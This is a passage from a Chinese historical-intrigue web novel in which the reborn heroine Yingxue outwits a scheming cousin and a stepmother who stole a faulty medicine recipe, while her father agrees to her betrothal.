“哎呀，慧敏郡主、嘉柔郡主、清平县主，你们可真是善良又大方！这京城怕是没有比你们更优秀的贵女了。”一位夫人笑得眼睛眯成了缝，不住地夸赞着。
“今日要不是沾了这三位的光，咱们哪有机会去琼华阁啊！”另一位夫人连忙附和，脸上满是兴奋。
“平日别说琼华阁这等高雅之地，就连在府外酒楼用膳，都怕被御史给撞见，影响到家里老爷的仕途。”一位稍显年长的夫人轻轻叹了口气，接着说道：“今日真是没白来，我们定要好好乐乐。”说罢，脸上浮现出期待的神情。
众人气氛高涨，欢声笑语在这后院中回荡。
陈煜安见趴在地上哭泣的向莞宜，眼中似是不忍，柔声道：“姑娘，你莫哭了，我定会给你交代。”
其它夫人听见，也都纷纷夸赞陈煜安有君子风范。
映雪站在一旁，听着这些夸赞，心里却是冷笑一声。
待琼华阁宴散，映雪与众人一同回了侯府。踏入映月阁，映雪便如一只归巢的倦鸟，急匆匆地朝贵妃塌奔去，随后整个人往榻上一倒，长长地感叹道：“总算能休息几日了。”
竹韵瞧着，满心的心疼，忙说道：“姑娘今日累坏了，奴婢替您松松肩吧？”映雪俏皮笑道：“好竹韵，就你最贴心。”说罢，侧过身去，转为趴着，一副乖巧等待的模样。
竹韵轻柔地抬起双手，在映雪的肩背上缓缓按摩起来。那恰到好处的力度，让映雪舒服得昏昏欲睡，眼皮似有千斤重，意识也逐渐模糊起来。
忽然，门外传来一阵略显急促的脚步声，令映雪眉头紧蹙。随后，绿绮的身影映入眼帘。只见她微微躬身，神色不快地对映雪禀告道：“姑娘，向表姐要求见您，奴婢跟她说了，您在休息，让她晚一点来，她非不肯离开，还一副受了天大的委屈模样。”
闻言，映雪的脸色顿时冷了下来。她没主动揭穿向莞宜，已经是看在上辈子她临死之前，向莞宜告诉她那些真相的份上，网开一面了。慈善堂的事情发生后，大夫人便让身边的婆子把向莞宜送回了侯府，她还以为向莞宜没脸再见她了呢。
可转念一想，跟向莞宜说清楚也好，以免向莞宜还以为自己被她算计呢。随即，映雪微微皱眉，坐直了身子，吩咐绿绮道：“行了，你让她上来吧。”
说罢，绿绮点头，转身出了屋子去通知了。
不一会儿，向莞宜就进了屋子。映雪坐在榻上，漫不经心地打量着向莞宜。只见她依旧穿着上午那套衣裳，裙摆处有些褶皱，发髻也有些凌乱。眼睛红肿，显然是从慈善堂回来后就一直在伤心哭泣，都没顾得上收拾自己，一打听到她回来，便心急火燎地跑来找她了。映雪心里觉得好笑，向莞宜还真是得便宜还卖乖，偏要装作一副委屈的模样。要不是今日之事，想来陈煜安还没这么早就要对她负责呢。
映雪见向莞宜不说话，也没那份耐心干等着，便挑眉问道：“表妹找我何事？”
向莞宜紧紧盯着映雪的眼睛，咬牙切齿地问道：“表姐，今日的事是你动的手脚吧？”
映雪嗤笑一声，道：“表妹说什么？我怎么听不懂？”
向莞宜此刻也不再伪装，面容扭曲，恶狠狠地道：“我明明没进过那房间，在房间里的人明明是你。”
映雪反问道：“那表妹的意思是明知房里有人了？”接着又道：“表妹不是一直仰望宁诚侯世子的家世与文采吗？现在宁诚侯世子要对你负责，你该感谢我才是。”
向莞宜沉默了片刻，目光依旧死死地盯着映雪，质问道：“自从我这次来侯府，表姐就与以前判若两人，表姐以前的天真一直都是装的对吧？”
映雪闻言，仰头大笑出声来，只道：“要想人不知，除非已莫为，表妹还是好自为之吧。”说罢，朝着竹韵使了个眼色，竹韵会意，上前一步，做了个“请”的手势，道：
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“向姑娘，请吧。”
映雪又重新慵懒地躺到榻上，思绪纷飞，开始回想今日之事。要不是她自己警惕，从陈煜安入场那一刻起，她就吩咐竹清一直紧盯着他，说不定还真就被这心怀叵测的两人给陷害成功了。
从后院出来，她原本是要踏入客房的。就在那千钧一发之际，竹清突然现身，压低声音提醒了她。随后，向莞宜鬼鬼祟祟地过来确认房内情况，竹清眼疾手快，顺势把向莞宜猛地推入房内，并迅速给两人投了毒。之后又在竹清撞门之际，她又不动声色地给两人投了解药。因向莞宜中毒尚浅，所以比陈煜安先一步醒来。
映雪想到此处，不禁轻舒了一口气，等向莞宜离开了侯府，她也算是能少些麻烦事了。
冬天刚至，外面寒风呼啸，映雪身着一件厚实的淡青色披风，裹得严严实实地去荣晖堂请安。踏入屋内，一股热气扑面而来，除了向莞宜，其它几人都已在座。
映雪微微欠身行礼后，便问起苏秀蓉道：“向表妹今日没来？”
还不等苏秀蓉出声，一旁的苏映蓉就迫不及待地插了话进来。只见她眉飞色舞，声调颇高，道：“向表妹一早就来向老夫人请辞了，说是没脸住在侯府。”说罢，还往苏沁雪脸上瞧了一眼。只见苏沁雪一脸嫌弃，嘴巴撅起，似是对自己表姐的行为很是看不上。
等几人请安后，老夫人轻轻挥了挥手，让其他人退下，单独把映雪留了下来。老夫人坐在暖烘烘的榻上，皱着眉头，神色凝重地问道：“祖母听说，昨日出事的人差点变成你，究竟怎么回事？”
映雪不想让老夫人为此难受，想起自己竟对一白眼狼那么好。便没说实话，浅笑道：“或许真是意外，表妹以为我在房内，实际上我去了马车里换衣裳。”
老夫人却不信有那么巧，只觉得映雪太过单纯善良，声音沉重地道：“人心隔肚皮，也许她是一时起了贪念，也未尝不是。”
映雪从荣晖堂出来，只见苏映蓉几人还在院子里。瞧见她出来，苏映蓉连忙朝她喊道：“三妹妹，我们一起去绮梦居看望向表妹吧，顺便跟她道别。”
苏秀蓉则轻轻蹙着眉，一脸不赞成地说道：“向表妹这会儿说不定还在伤心难过呢，还是晚些时候再去吧？”
苏映蓉却不以为然，绞着手中的帕子玩道：“照我说，宁诚侯世子身份斐然，才貌兼备，向表妹进了侯府，怎么都会比在向府要强吧？说不定向表妹还因祸得福呢。”
苏秀蓉柔声说道：“以向表妹的身份，又做不了侯府正妻，倘若侯府的主母不好相与，往后的日子就更难了。”
映雪可没心情去看望向莞宜，便直接回绝苏映蓉道，“二姐姐，要去你自己去吧，我就不去了。”说罢，还伸手一把拉着苏秀蓉，道：“大姐姐，我寻你有事，咱们去秀宁居吧。”
46. 真相
两人去了秀宁居，一进屋，苏秀蓉便让丫鬟把汤婆子取来，亲自放在了映雪冻得发红的手上。想起映雪对向莞宜的态度，遂而一脸严肃地问起映雪，道：“三妹妹，你跟我说实话，昨日是不是向表妹要害你？”
映雪见大姐姐一脸凝重，心中很是意外大姐姐竟然能想到这个，便反问道：“大姐姐为何会这样想？”
苏秀蓉目光坚定，言辞恳切地道：“你的性子我自是清楚，若是她没对不起你，你刚才也不会是那种态度。昨日她被送回侯府，我也去绮梦居看过她，问了她几句，她都有意无意地指向你，意是在替你挡祸。”
映雪闻言，嘴角勾起一抹冷笑，接着苏秀蓉深深地看了一眼映雪，又道：“可若她真是受你连累，以你的性子，你定会愧疚至极。我还听说，昨日是大夫人带着一群夫人过去撞破的，要是大夫人真心为你好，不应该是私下去找你吗？”
映雪见苏秀蓉分析得头头是道，面面俱到，不禁笑出声来，感慨道：“大姐姐真是个女诸葛啊！”言外之意，也是告诉苏秀蓉，她猜的没错。
苏秀蓉闻言，气得柳眉倒竖，道：“她怎能这样害你，我们侯府对她不薄，她简直没良心，且害了你，对她又有何好处？”
映雪则轻轻拍了拍苏秀蓉的手安慰道：“算了，反正我也无事，等她走了，我也落个清静。”
苏秀蓉有些后悔，咬了咬嘴唇，道：“早先在她来侯府之际，就该对祖母说，你在昙华寺求的签，指她克你。”
映雪见苏秀蓉又提起签文之事，心里发虚，赶忙转移话题道：“大姐姐，我今日过来是想告诉你一个好消息。”
苏秀蓉抬眼看向映雪，眼中满是期待，问道：“什么好消息？”
映雪神秘地凑到苏秀蓉耳边，压低声音道：“二叔要调回京了。”
苏秀蓉激动得一下子从椅子上站了起来，满脸惊喜，惊道：“果真？”
映雪用力地点点头，道：“自然是真的，不过在旨意未下到侯府之前，你先别透露出去，以免引起事端。”
苏秀蓉顿时红了眼眶，使劲地点头，随后还一把抱住了映雪，声音略带哽咽地道：“我都不知道如何感谢你了。”
映雪俏皮笑道：“我要找爹爹讨赏，等二叔回京，还要找二叔讨赏呢。”接着又顿了一下，道：“若是大姐姐非要感谢的话，就给我再多做几份海棠酥吧。”
苏秀蓉闻言，也笑出声来，打趣道：“好，大姐姐要给你做一缸子的海棠酥，让你坐在里面吃。”说罢，两人笑做一团，那欢快的笑声在屋内回荡，心情也都随之好转起来。
待映雪回了映月阁，没过多久，就见绿绮风风火火地跑了进来，脸上满是兴奋的神情。绿绮见映雪和竹韵都一脸平静，忍不住凑到两人跟前，兴致勃勃地向两人八卦道：“姑娘，你猜猜奴婢瞧见什么了？”映雪漫不经心地瞥了一眼绿绮，眼中带着一丝好奇，问道：“瞧见什么？”
绿绮立马眉飞色舞，兴奋道：“姑娘之前不是让奴婢注意表姑娘的丫鬟香菱与那马夫有何联系吗？”说罢，见映雪眼神中含了期待，接着又迫不及待地说道：“刚雀儿拉着奴婢去看了一出精彩的好戏。原来那香菱与那马夫私下早就偷偷厮混在一起了。表姑娘要离开侯府，那马夫见香菱也要离开，便壮着胆子跑去绮梦居，向表姑娘请求，让她把香菱赐给他。没想到香菱翻脸不认人，还骂他癞蛤蟆想吃天鹅肉，气得那马夫当场就说出他与香菱早有夫妻之实。”
映雪闻言，心中恍然，难怪那马夫会听从向莞宜的，原来是美人计。接着绿绮又滔滔不绝道：“香菱不认，说那马夫污蔑她，那马夫也是急了，竟说香菱腰间有一月牙形的胎记，让人来验一验，就知道他有没有撒谎，这可让那香菱当场变了脸色。”
竹韵皱了皱眉头，轻斥绿绮道：“好了，别污了姑娘的耳。”绿绮撇撇嘴，心有不甘地又道：“这香菱身上的胎记也怪特别的，竟还是个月牙形，这想抵赖都找不出理由了。”
话音刚落，门外忽地传来“哐当”一声巨响，三人被这突如其来的声响惊得朝门外望去。只见地上散落着几块糕点，江嬷嬷神色紧张，满脸惶恐地向映雪认错，道：“姑娘，刚老奴不小心脚滑了下，把糕点给打翻了，老奴这就去厨房，让人重做。”说罢，见映雪轻轻点头，这才弯腰把地板上的糕点一块块捡了起来，然后匆匆退了出去。
待江嬷嬷离去，映雪心中不由地泛起一阵怪异之感，她微微蹙起眉头，问起竹韵和绿绮道：“你们有没觉得刚才的江嬷嬷有点不对劲？”
绿绮眨了眨眼睛，随意说道：“这有何奇怪，这天寒地冻的，院子里好些地方都结了层冰，兴许是屋子里面沾了水渍，江嬷嬷不小心踩滑了吧。”
竹韵则抿了抿嘴唇，沉默了片刻，慎重地道：“奴婢觉得刚才的江嬷嬷过于紧张了，姑娘对下人一向宽容和善，若只是不小心打翻了点心，想来姑娘绝不会处罚的。”
映雪也是觉得江嬷嬷神情过于紧张，便神色严肃地吩咐竹韵道：“这几日，你注意下江嬷嬷的动向，看她是否有什么异常之处。”
竹韵郑重地点了点头，恭顺地应下。
随后映雪又转头吩咐绿绮道：“你从我头饰匣子里面挑两朵珠花，赐给雀儿，让她继续留意府里的动向。”接着顿了一下，又道：“若是有难事，可让竹清去办，竹清会武，自会比你们更容易些。”
闻言，绿绮立马眼神一亮，嘴巴张得大大的，惊呼道：“
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竹清竟然会武艺？难怪奴婢总觉得她浑身散发着高人的气息呢！”接着又看了一眼映雪，略带委屈地嘟起嘴，扭着身子道：“难怪姑娘最近出门都带着竹清，奴婢还以为是奴婢做错了事，惹姑娘生气了呢！”
闻言，映雪轻轻一笑，宽慰道：“你和竹韵都是我的左膀右臂，竹清自也是比不过你们，只是之前一直没有好的机会告诉你。”绿绮闻言，脸上立马绽放出灿烂的笑容，高兴得说道：“只要姑娘不是嫌弃奴婢就好，姑娘身边多了竹清保护，奴婢也更安心。”
午间，竹韵就过来向映雪禀告，也有些疑惑道，“姑娘，江嬷嬷去了厨房后，就一个人偷偷摸摸去了绮梦居，还在绮梦居待了好一儿，从绮梦居出来后，神情就有些不对，一直待在房里没出来。”接着又道，“听白芷说，她端过去的午膳，江嬷嬷一口都没用。”
映雪闻言，眉头皱起，心里暗衬，难不成这个时候江嬷嬷就与向莞宜勾结到一起了吗？但她平日里并没看出异常，随即眉头一松，对着竹韵道，“那我们先不管了，你继续盯着。”
竹韵点了点头。
向莞宜上午就离开了侯府，最后是大夫人出面，那马夫也留侯府不得，被大夫人赶出了侯府。
翌日，映雪去荣晖堂请安，屋内，老夫人正端坐在榻上，脸色阴沉。老夫人也听说了那马夫与向莞宜丫鬟之事，瞬间像吃了苍蝇一般难受，气得胸口起伏不定，说道：“可见，慈善堂之事就是那丫头自演自导，毕竟她身边的丫鬟也跟她一样，行为不检点。亏我活了几十年，竟被一十几岁的丫头给糊弄了！”
接着瞧见大夫人坐在那像个无事人一样，老夫人更是气不打一处来，怒声道：“老大媳妇，你瞧瞧你办的这事儿，侯府的脸面都被她们丢尽了！”
大夫人低垂着头，脸色红一阵青一阵，双手紧绞着帕子，嗫嚅着辩解：“母亲，儿媳也未曾料到……”
“未曾料到？”老夫人猛地打断她，声音愈发高亢，“你身为侯夫人，让人在眼皮子底下行这龌龊事，真是糊涂！”
几个孙女噤若寒蝉，不敢吭声。大夫人坐立不安，觉得失了颜面，脸色由红转青，又羞又恼，但不敢反驳，只在心里骂向莞宜无用还坏她名声。
映雪回了映月阁，刚踏入屋内，就见江嬷嬷神色焦虑地在屋子里候着。映雪正要开口问江嬷嬷，便见江嬷嬷“扑通”一声，重重地跪在了她跟前。江嬷嬷泪如泉涌，声音颤抖着道：“姑娘，老奴对不起你。”
映雪微微一惊，站在原地看着江嬷嬷，并未言语，只是目光中透着疑惑和审视。
接着又听江嬷嬷哽咽着道：“表姑娘身边的那丫鬟香菱竟是老奴那多年前走散的女儿，老奴愧对姑娘，愧对侯府啊！”
47. 上门
闻言，映雪这才恍然大悟，难怪上辈子江嬷嬷会背叛她而投靠向莞宜，也难怪香菱会被除了奴籍还嫁给了宁诚侯府的管事。映雪不禁笑出声来，那笑声中透着几分无奈与自嘲。若是江嬷嬷向她直言，难不成她会冷眼旁观吗？说到底，还是江嬷嬷从心底就戒备着她，许在江嬷嬷眼里，只有相互之间的利益才能靠得住吧。想到这里，映雪也对上辈子之死有些释然，心中那团纠结许久的阴霾似乎也渐渐散去。随后，她调整心绪，神色平静地说道：“这不怪嬷嬷，嬷嬷接下来有什么打算？香菱身世嬷嬷确认过吗？”
江嬷嬷见映雪没责怪她，一直紧绷的身子也稍有放松，声音带着些许颤抖地道：“老奴亲眼见了香菱腰间的胎记，不会有错的。”接着又带着感恩的语气说道：“老奴跟了姑娘这这十多年，得姑娘宽待，也攒了一些钱财，本想找向姑娘把香菱赎出来。”顿了下，眉头皱得更紧，接着又道：“向姑娘说她身边只有香菱一个丫鬟，和香菱一起长大，舍不得香菱离开，自也不会让香菱现在赎身。还说她身边还缺一个管事嬷嬷，若是老奴舍不得香菱，往后可以跟她在向府。”
映雪闻言，轻轻挑眉，道：“哦，那嬷嬷是作何想？”
江嬷嬷眼眶通红，泪水在眼眶里打转，面含期待地望着映雪，声音哽咽地道：“老奴自是舍不得姑娘，只是老奴那女儿命苦，老奴半截身子都埋进土里的人了，这辈子能与女儿重逢，也是跟着姑娘修的福分。”
映雪忍不住打断，直言道：“好了，嬷嬷，我明白你的意思，也理解你，也愿嬷嬷今后能得偿所愿，与女儿相聚，安享天伦之乐。”说罢，转头吩咐竹韵道：“把江嬷嬷的身契拿来，再取一百两银票。”
江嬷嬷闻言，顿时觉得惶恐不已，嘴巴微微蠕动了几下，似乎想要说些什么，却又像是放弃了，最终选择了沉默。随后，她又朝着映雪重重地磕了几个响头。
映雪把东西交到江嬷嬷手上，并郑重的叮嘱道：“嬷嬷，从此起，我们之间的主仆名份到此为止，今后你在外面不得以永安侯下人及我的贴身嬷嬷自居，否则侯府会追究到底。”最后一句说得有些凌厉，眼神中也透着不容置疑的威严。
江嬷嬷闻言，顿时脸色苍白如纸，身子忍不住颤抖了一下，随即又拼命磕头道：“老奴明白，愿姑娘永世安好。”
午膳后，永安侯差人让映雪去了书房，待映雪踏入书房，只见父亲正端坐在书桌前，一脸凝重，见到她后，随即在她身上细细打量起来，映雪被这目光看得心里直发毛，觉得莫名，好奇地问道：“爹爹，你找映雪来，是有什么事？”
映雪心中暗衬，难不成爹爹也知二叔要调回京城的事了，可这不是好事吗？随即不解地问道：“爹爹是指二叔要调回京城的事？”
闻言，永安侯瞬间觉得无奈，脸上的表情复杂至极，不知是该喜还是该怒。这样大的事，竟然连他都不知道，难怪今日吏部侍郎对他恭喜，还说永安侯府最近风光无限，让他今后不要忘了他。永安侯压低声音，眉头紧紧皱起，道：“你二叔是怎么回事？”
映雪以为父亲不高兴，忙讨好着道：“映雪忘记跟爹爹说了，爹爹不要不高兴。”接着又道：“映雪向豫亲王府献了一道炼器的秘方，让嘉柔找豫亲王说情，帮忙把二叔调回京城。”
永安侯闻言，脸色稍缓，随即又低沉道：“那你与景阳侯世子又是怎么回事？”
映雪乍然从父亲口中听到景阳侯世子，惊得差点叫了起来，随后怯怯地看向父亲，底气不足地问道：“爹爹，是不是他找你说过什么了？”
永安侯见状，心中暗想果然如此，映雪与那景阳侯世子早已认识的，当初在中原，景阳侯世子突然提到映雪，他还以为听岔了。随后，永安侯又问道：“最近齐府的事，是不是他做？”
映雪没听明白，满脸疑惑地问道：“爹爹问的是哪个齐府？出什么事了？”
永安侯见映雪不知，便不再提起，心里却对景阳侯世子更加满意了。随后，又想起什么，问道：“制药的秘方与那炼器的秘方是不是来自一个地方？”
映雪点了点头，随后虚心道：“我不能告诉爹爹具体细节，但日后有机会，我会手抄下来，给爹爹看。”
永安侯闻言，欣慰地笑了笑，道：“爹爹不用，你收拾妥当就好。”接着又道：“既然你对景阳侯世子也有意，那爹爹就替你应下这桩亲事了。”
映雪闻言，顿时羞得脸色通红，如同熟透的苹果。她跺着脚，娇嗔一声，转身像只受惊的小兔子般逃走了。
待出了书房，映雪的心还是“扑通扑通”猛地跳个不停，仿佛有一只小鹿在胸腔里横冲直撞。她着实没想到许牧舟动作这般快，一时间思绪还有些纷乱。待缓缓走在侯府内院，瞧见树叶上挂满着晶莹剔透的小冰晶，在阳光的映照下闪烁着璀璨的光芒，顿时觉得可爱极了，心情也随之变得甚美。
忽然，映雪只见前院的门前小厮，神色慌张，脚步匆匆地朝内院的如意院方向跑去。心中觉得奇怪，朝绿绮吩咐道：“走，我们去前院看看。”
待到了前院，只听得门外传来一阵嘈杂喧闹之声。绿绮赶忙上前打听，片刻后归来，方知竟是一家名为“保和堂”的人前来向永安侯府讨要说法。映雪蛾眉轻皱，满心疑惑，实不知侯府何时与这保和堂有了牵扯。
就在此时，只见大夫人身后紧跟着王嬷嬷，脚步匆匆地赶了过来。大夫人脸色阴沉，寒气逼
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人，待瞧见了映雪，那寒气愈发浓重，仿佛能将周遭的空气都冻结。
保和堂的众人见到大夫人，立刻围上前去诉苦不迭，大夫人唯恐在门前丢了侯府的颜面，强挤出一抹笑容，连声解释，只说是一场误会。随即，客客气气地把保和堂的人请进了前厅。
映雪自知此时不好再跟着，便转身回了映月阁。她进门后，吩咐竹清道：“你且盯着前院的事，有任何风吹草动，速速来报。”
竹清点头，随即退下。
许是门前那番动静闹腾得太过厉害，就连居于深院的老夫人也听闻了消息。因着向莞宜之事，老夫人本就对大夫人心怀不满，此刻又恐大夫人背着侯府再做出有损侯府声誉之事，遂赶忙让秦嬷嬷去前厅，将大夫人和保和堂掌柜一并请到了荣晖堂。
保和堂掌柜一踏入荣晖堂，便忙不迭地行礼致歉，道：“是小的不是，惊扰到老夫人您的清净了。”老夫人见对方礼数还算周全，语气温和地问道：“不知尊驾今日来府究竟所为何事？”掌柜偷瞄了一眼大夫人，随后苦着一张脸说道：“贵府两个月前给了小店一本制药方子，说好利润五五分成。岂料这方子竟出了岔子，吃坏了病人，害得小店被砸，还赔偿了不少银子，名誉更是一落千丈。”老夫人闻言，脸色陡然一变，目光凌厉地问道：“什么制药方子？老身怎么从未听闻。”说罢，转眼狠狠朝大夫人望去，只见大夫人低垂着头，根本不敢与老夫人对视。
随后掌柜支支吾吾地解释道：“这方子是通过江大老爷给的，原本也和江大老爷协商好了，他只需赔偿一万两银子，其余损失小店自行承担。谁知临了他却反悔，只给了两千两银票，还说多的没有，让小的来找永安侯府，声称方子是侯府给的。”大夫人听闻此言，脸色瞬间变得极为难看。接着又听掌柜声泪俱下地哭诉道：“老夫人，小的实在是走投无路，没有办法啊。”老夫人心中哪能不明白，此事定然与大夫人脱不了干系。她深呼一口气，强压下心头的怒气，道：“老身听明白了，这样吧，您先回去，待府里调查清楚，若真是我侯府之责，老身必定给贵店一个满意的交代。”掌柜思索了片刻，拱手道：“小的也听说被圣上亲封的慧敏郡主慈悲为怀，建立的慈善堂更是令人夸赞，侯府教导有方，定不会食言。那小的这就回去等消息了。”言罢，便向老夫人及大夫人拱手告辞，老夫人含笑点头示意。
老夫人让秦嬷嬷亲自送那掌柜出了院子，待秦嬷嬷折返回来，老夫人的脸色瞬间铁青，端起手中的茶杯，猛地朝大夫人那边砸了过去。大夫人被这突如其来的举动惊吓得“扑通”一声立马跪了下来。
老夫人沉着脸，目光如炬，对大夫人说道：“说吧，究竟是怎么回事？”
48. 祈福
大夫人眼神闪躲，心虚不已地说道：“那制药方子是映雪的，想来映雪最是清楚那制药方子有无问题。”老夫人目光如炬，满脸不信，质疑道：“按你这意思是映雪故意要害那保和堂了？”大夫人神情讪讪，抿着唇，不敢吭声。老夫人冷哼一声，转头吩咐身边的丫鬟道：“你去映月阁，让三姑娘过来一趟。”丫鬟忙不迭地点头，匆匆转身，转眼便消失在门外。
待映雪踏入荣晖堂，只见大夫人可怜兮兮地跪在地上，不由地眉头一挑，旋即加快脚步朝老夫人走去，双手亲昵地挽着老夫人的手臂，娇声说道：“祖母，你喊映雪过来有什么事？”
老夫人对映雪向来最为疼爱，轻轻拍了拍映雪的手背，柔声问道：“你给你母亲制药方子了？刚保和堂的掌柜过来，说是侯府给的方子出了岔子，吃坏了人。”映雪心中暗衬，真当她是软柿子，什么锅都往她身上甩，难怪她刚还纳闷，不知侯府何时与那保和堂有了牵扯，没想到竟还扯到她身上。随后，她立即转身对着大夫人，满脸诧异道：“母亲，我怎么不知道我何时竟给过你制药方子了？”
大夫人黑着一张脸，回道：“是诗会那日，丫鬟从静逸庐取的。”
闻言，映雪的脸色也沉了下来，冷声道：“母亲，不问自取，这是偷！”接着又道：“难怪静逸庐遗失了一本方子，我还以为是被我放到别处去了。”
老夫人闻言，更是气得满脸通红，手掌重重地拍在桌子上，震得桌上的茶杯都晃了几晃，怒喝道：“堂堂侯府夫人，竟偷盗到女儿身上，还倒打一耙，可真是有出息啊，你们江府竟是如何教养你们的。”
大夫人被骂得头都不敢抬，噤若寒蝉。接着又听老夫人问映雪道：“映雪，那方子是怎么回事？”映雪眨巴着灵动的眼睛道：“那本方子是映雪自己写的，祖母也知道，那会映雪正对习医有兴趣，所以就自己琢磨了些方子。”接着又道：“只是那会儿映雪学识浅薄，方子上有许多弊端，本想找出来销毁掉，却没找着。”大夫人闻言，脸色瞬间变得煞白，简直气得想要吐血。又听着映雪带着同情的口吻道：“没想到竟害了母亲。”
老夫人冷笑一声道：“还真是偷鸡不成蚀把米。”
大夫人此刻却顾不上颜面，急急地问道映雪：“那完整的方子现在有了吧？你把完整的方子给母亲，母亲拿去补偿给保和堂，想来他们便不会再追究了。”映雪还未说话，就听到老夫人怒斥道：“自己做的孽，还妄想让映雪替你擦屁股，做什么春秋大梦呢。”紧接着，就直接惩罚道：“从今日起，你回自己院子闭门思过三个月，好好反省自己的过错，没有我的允许，不得踏出房门半步！”随后又道：“至于保和堂的赔偿，自己去想办法，就算是变卖嫁妆也给我补上。你若是有意见，我就把你送回江府，好找江府两老评评理。”
大夫人闻言，如遭雷击，惊慌失措地一屁股坐在了地上，脸色惨白如纸，眼中满是寒意。
待回了如意院，院内气氛压抑得让人透不过气来，丫鬟们一个个噤若寒蝉，连大气都不敢出一声，唯恐触了大夫人的霉头，招来祸事。
大夫人面色阴沉地坐在椅子上，身子紧绷，忽然眼神中划过一道冷冽，对身旁的王嬷嬷吩咐道：“你去跟老夫人请示，就说我诚心认错，要带着七少爷去云栖庵为侯府祈福。”王嬷嬷忙不迭地点头，眼中满是赞同道：“暂时避开也是好事，过几日侯爷的升迁宴，总要夫人出面，到时老夫人还得派人去请。”
云栖庵乃是京城声名远扬的尼姑庵，听闻前朝公主就是在此庵落发为尼。京城的贵夫人们去昙华寺祈福留宿多有不便，故而大多选择云栖庵。云栖庵风景秀美宜人，虽比不上昙华寺的恢宏壮丽，但也别有一番清幽雅致。
王嬷嬷匆匆去向老夫人请示，老夫人心中冷笑，可脸上却丝毫不显，语气平静地说道：“她能想通，自是好事，你跟她说，我叮嘱她在庵里好好祈福，也好感化她身上的一些重欲。”王嬷嬷脸上闪过一丝尴尬，忙不迭地点头应下，随后恭恭敬敬地行礼告退。待王嬷嬷的身影渐渐远去，老夫人转头对着身边的秦嬷嬷讥讽道：“真当是侯府离了她转不动呢。”接着又神色严肃地吩咐道：“你晚点去通知大姑娘和三姑娘一声，明日起，让她们都跟在我身边，学掌家之事。秀蓉离出嫁也没几个月了，之前虽也学过，但却没真正做过，这次正好给她练练手。”秦嬷嬷连连点头，应承下来。
大夫人随后脚步匆匆地去了趟落雪院，不由分说地在苏沁雪的房间里翻箱倒柜，从苏沁雪那强行搜出了八百两银票，还毫不留情地从匣子里取走了一些珍贵首饰。苏沁雪见自己的财物被夺，哭得声嘶力竭，哭闹不已。大夫人此刻却无暇顾及，只得一边收拾着财物，一边急匆匆地叮嘱苏沁雪道：“母亲明日带弟弟去云栖庵住一段时间，为府里祈福，你在府里要听话，不要惹事知道吗？等母亲回来，会加倍补偿给你。”接着又神色严厉地说道：“你千万记住，不要去招惹你三姐姐。”说罢，眼神中还闪过一道让人胆寒的冷芒。
大夫人费尽心思东拼西凑，好不容易才把银子凑齐，交到王嬷嬷手中，并神色凝重地吩咐道：“你亲自送去保和堂，让掌柜落下字据。”接着又语气一转，说道：“你再转道去一趟江府，要是大老爷不在，就跟老太太把这件事情描述清楚，之前我明明给了大哥三千两银票，但到保和堂却只有两千，我这次也被大哥害惨了，要是老太太还是偏帮大哥，以后就别怪我不管江府的事了。”
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王嬷嬷望着大夫人憔悴而焦虑的面容，满心的疼惜，轻声安慰道：“大老爷许是一时糊涂，老太太定会为你做主。”大夫人眉头紧锁，紧抿着嘴唇，没有说话，只是满脸疲惫地挥了挥手，示意王嬷嬷赶紧去办事。
翌日一早，大夫人带着苏敏皓去向老夫人请安，随后就出发前往云栖庵，苏敏皓听母亲说要去庵里住，哭闹着不肯上车，大夫人气得狠狠地揍了苏敏皓，强行把苏敏皓拽了上车，老夫人闻言，嘴里一直喊着冤孽，还直呼这些年被大夫人给骗了，还以为她是个好的。
苏沁雪站在一旁，听见老夫人的责骂，又气又恼，只觉得脸上火辣辣的，恨不得找个地洞立刻钻进去。苏映蓉在一旁似是有些幸灾乐祸，嘴角微微上扬，不过很快就恢复了常态，假装安慰苏沁雪道：“四妹妹，母亲也是为侯府祈福，这是好事，你别担忧。”苏沁雪却转头看向映雪，那眼神仿佛能喷出火来，恨不得用眼神把她杀死，映雪却仿若未觉，根本不理会她。
老夫人看向身前的几个孙女，深深叹了口气，随后道：“秀蓉和映雪留下，映蓉和沁雪先回去吧。”说罢，苏映蓉和苏沁雪顿时脸色一变。苏映蓉还算乖巧，乖乖地向老夫人行礼告退，苏沁雪却黑着脸，一声不吭，转身就怒气冲冲地出了荣晖堂，苏映蓉见状，也只得紧跟其后。
老夫人见状，气得胸口剧烈起伏，对身边的秦嬷嬷道：“你瞧瞧她像什么样子，真是被她母亲给教坏了。”说罢，手扶额头，不停地按了按太阳穴，似是头疼不已。映雪见老夫人这般，生怕老夫人被气坏了身子，连忙快步上前，挽着老夫人的胳膊，撒娇哄道：“祖母，京城最乖最孝顺最有出息的孙女都是您的，您还有什么好生气的。”老夫人闻言，“扑哧”一声被映雪逗乐了，伸出手指刮了刮映雪的鼻子，嗔道：“你还真是不害臊，哪有往自个脸上贴金的。”
苏秀蓉也在一旁附和道：“四妹妹可是实话实说，祖母也不必自谦。”
老夫人瞧着眼前两位贴心的孙女，顿时觉得被苏沁雪带来的不快消散退去，心情也舒畅了许多。
随后说道：“这段时间你们就跟在祖母身边，替祖母打下手，学习掌家，管事。”
语音刚落，映雪顿时愁眉苦脸起来，嘴巴嘟得老高，道：“祖母，您就饶了映雪吧，映雪还小呢，有大姐姐跟着就行。”苏秀蓉闻言，微微皱眉，不赞同道：“我也是像三妹妹这么大的时候跟着母亲学的，三妹妹这会儿学刚好。”
映雪立即拉着老夫人的袖子，可怜巴巴地摇晃着，撒娇地道：“祖母，映雪可今即有凝香居的账册要看，又有慈善堂的事要处理，真的是乏身无术啊。”接着又呜呜咽咽地道：“映雪最近睡眠都少了，都要担心长不高了。”
49. 任命
老夫人闻言，顿时心疼不已，连忙把映雪轻柔地搂进怀里，轻责道：“你这孩子，你现在正是长身体的时候，怎能缺了睡眠。”接着又道：“罢了，还是长身体要紧，管家之事，等你及笄后再学也不迟。”映雪见计谋得逞，笑得眉眼弯弯。恰被苏秀蓉瞧见，还朝她做了个俏皮的鬼脸，苏秀蓉瞪了她一眼，眼神中示意她收敛些。
待从老夫人怀里起来，老夫人目光慈爱，细细打量映雪一番，担忧道：“祖母听说牛乳有利于长高，要不让府里寻头奶牛来，也好给你们都补补身子。”映雪比苏沁雪大两岁，可苏沁雪的身高都要快赶上映雪了，老夫人怎能不担忧。本来映雪只是随口一说，见老夫人如此着急，也不由得有些心塞，可见她身高真有问题，也不得不慎重起来，苦恼道：“可映雪听说牛乳味道极膻，怕是难以下咽。”苏秀蓉轻抿嘴角，浅笑道：“我之前在杂书上看到过，牛乳可用茶叶去膻味，若是处理得好，味道极好，我正想用牛乳研究几道点心呢。”
